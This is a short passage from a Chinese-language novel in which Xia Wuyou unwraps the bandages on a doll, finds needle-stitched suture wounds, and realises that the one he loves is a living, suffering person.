夏无忧平静地一点点解开玩偶身上的绷带,从手,到手臂,到上半身,这些绷带太精细,拆起来需要时间和耐心。 等到盆内的水再次冷掉,他才拆了大半,他也见到了玩偶的身上,那层层叠叠的伤口线。 不是涂上去的一层,而是用针扎进去,刺出的缝合线。 夏无忧的心也仿若被扎了下。 到现在,他才有了,原来他喜欢的是个人,一个活生生的,体会着痛苦,挣扎着活的人的认知。 世界是他的游戏。 亦是他们的真实。